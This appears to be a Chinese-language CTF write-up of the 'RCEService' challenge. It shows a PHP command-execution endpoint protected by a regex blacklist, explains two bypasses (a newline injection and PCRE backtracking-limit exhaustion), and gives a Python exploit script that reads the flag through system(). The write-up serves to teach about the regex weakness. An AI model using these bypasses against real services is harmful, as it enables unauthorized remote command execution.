PHP正则表达式之RCEService回溯


Posted in PHP onApril 11, 2022

PHP正则表达式之RCEService回溯

打开题目输入JSON类型的cmd后,尝试读取index.php的源代码,但是读取不出来,并且扫后台出来的/index以及/index/login也没有任何东西,实在不知道怎么做了,只能看一下别人的wp,发现别人以来都是审查源码,我就奇怪了,源码怎么弄来的,看了很多wp发现应该是比赛的时候直接给的源码,但是buu平台忘记加上了

<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
    $json = $_REQUEST['cmd'];
    if (!is_string($json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } else {
        echo 'Attempting to run command:<br/>';
        $cmd = json_decode($json, true)['cmd'];
        if ($cmd !== NULL) {
            system($cmd);
        } else {
            echo 'Invalid input';
        }
        echo '<br/><br/>';
    }
}
?>

看到最后的system以及正则,看来这题是要绕过正则执行cmd命令了,这么多黑名单函数应该不会让我们找漏网之鱼吧,不会吧不会吧

我们看到正则表达式没有添加修饰符,那我们可以利用多行匹配这个漏洞了

PHP正则表达式之RCEService回溯

 在这里我们可以利用%0a换行符进行绕过正则匹配,而且可以看到要有修饰符s才会让.*匹配换行符,因此我们这里可以利用我们之前的ls试试能不能成功

PHP正则表达式之RCEService回溯

发现依然可以出来index.php;源代码中编译了环境变量path(我以为只是单纯暗示我们这个目录),我们就在那个目录下看看 

PHP正则表达式之RCEService回溯

发现了flag文件,我用nl,cat,more,less等命令都读取不出来 ,查资料发现,系统命令需要有特定的环境变量的也就是路径,系统找不到该路径下的exe文件怎么执行系统命令

因此这个地方查阅资料后发现只能调用绝对路径下的命令,cat命令就在/bin/目录下面

PHP正则表达式之RCEService回溯

 第二种办法也就是正则表达式回溯过多导致false,说实话我还是第一次听到正则的回溯问题

PHP利用PCRE回溯次数限制绕过某些安全限制

简单来说就是正则表达式匹配的时候某个.*将后面的字符全部匹配到了,导致表达式后面的式子没有地方匹配,因此一个一个字符吐出来,直到后面的式子全部匹配完毕或者回溯次数过多

例子

PHP正则表达式之RCEService回溯

PHP正则表达式之RCEService回溯

 经过自己试试果然只能回溯一百万次

'/^.*

正则表达式最前面的匹配字符,^代表首个字母,'.'代表除换行符之外的所有字符,*代表前面那个表达式重复执行多次,因此他这里直接把我们的payload全部匹配完毕,导致后面的匹配不到字符了,只能一个个回溯

PHP正则表达式之RCEService回溯

再将后面的匹配一下字符,可以发现目前写的小写字母都没有过滤掉,因为十六进制\x00-\x1f换算成十进制并没有到小写字母的ascii值那个地方,因此我们可以任意利用一个小写字母×个一百万次,就可以让正则表达式直接失败

PHP正则表达式之RCEService回溯

import requests
url='http://5dd96313-13f8-4eb6-89eb-0dbb5a4ba30a.node3.buuoj.cn'
data={
    'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","feng":"'+'a'*1000000+'"}'
}
r=requests.post(url=url,data=data).text
print(r)

Tags in this post...

PHP 相关文章推荐
用php获取远程图片并把它保存到本地的代码
Apr 07 PHP
PHP读取XML值的代码(推荐)
Jan 01 PHP
PHP上传图片进行等比缩放可增加水印功能
Jan 13 PHP
ThinkPHP3.1之D方法实例详解
Jun 20 PHP
php函数与传递参数实例分析
Nov 15 PHP
浅析PHP中Session可能会引起并发问题
Jul 23 PHP
分享微信扫码支付开发遇到问题及解决方案-附Ecshop微信支付插件
Aug 23 PHP
PHP文件缓存类实现代码
Oct 26 PHP
ThinkPHP模板Volist标签嵌套循环输出多维数组的方法
Mar 23 PHP
PHP array_shift()用法实例分析
Jan 07 PHP
PHP读取Excel内的图片(phpspreadsheet和PHPExcel扩展库)
Nov 19 PHP
thinkphp诸多限制条件下如何getshell详解
Dec 09 PHP
微信小程序结合ThinkPHP5授权登陆后获取手机号
PHP遍历数组的6种方式总结
Nov 17 #PHP
关于PHP数组迭代器的使用方法实例
php双向队列实例讲解
Nov 17 #PHP
如何解决php-fpm启动不了问题
Nov 17 #PHP
一次项目中Thinkphp绕过禁用函数的实战记录
php修改word的实例方法
Nov 17 #PHP
You might like
用PHP发电子邮件
2006/10/09 PHP
无需数据库在线投票调查php代码
2016/07/20 PHP
JQuery获取元素文档大小、偏移和位置和滚动条位置的方法集合
2010/01/12 Javascript
nodejs win7下安装方法
2012/05/24 NodeJs
jquery 实现表单验证功能代码(简洁)
2012/07/03 Javascript
用jQuery获取IE9下拉框默认值问题探讨
2013/07/22 Javascript
jQuery 计算iframe 窗口大小的方法
2014/05/13 Javascript
多种方法实现360浏览器下禁止自动填写用户名密码
2014/06/16 Javascript
jQuery实现contains方法不区分大小写的方法
2015/02/13 Javascript
使用jQuery判断浏览器滚动条位置的方法
2016/05/30 Javascript
js删除数组元素、清空数组的简单方法(必看)
2016/07/27 Javascript
ES6中Proxy与Reflect实现重载(overload)的方法
2017/03/30 Javascript
AngularJs 禁止模板缓存的方法
2017/11/28 Javascript
iview Upload组件多个文件上传的示例代码
2018/09/30 Javascript
Vue源码中要const _toStr = Object.prototype.toString的原因分析
2018/12/09 Javascript
Angular7创建项目、组件、服务以及服务的使用
2019/02/19 Javascript
JS数组及对象遍历方法代码汇总
2020/06/16 Javascript
django在接受post请求时显示403forbidden实例解析
2018/01/25 Python
python pyheatmap包绘制热力图
2018/11/09 Python
Python multiprocessing多进程原理与应用示例
2019/02/28 Python
python批量爬取下载抖音视频
2019/06/17 Python
django模板获取list中指定索引的值方式
2020/05/14 Python
利用python实现平稳时间序列的建模方式
2020/06/03 Python
python中upper是做什么用的
2020/07/20 Python
python实现银行账户系统
2021/02/22 Python
HTML5 Canvas API中drawImage()方法的使用实例
2016/03/25 HTML / CSS
什么是事务?事务有哪些性质?
2012/03/11 面试题
计算机相关的自我评价
2014/01/15 职场文书
大学毕业感言一句话
2014/02/06 职场文书
领导干部对照检查材料
2014/08/24 职场文书
党员个人对照检查材料
2014/10/01 职场文书
六查六看剖析材料
2014/10/06 职场文书
民用住房租房协议书
2014/10/29 职场文书
2015新年联欢晚会开场白
2014/12/14 职场文书
为Java项目添加Redis缓存的方法
2021/05/18 Redis
BCL经典机 SONY ICF-5900W电路分析
2022/04/24 无线电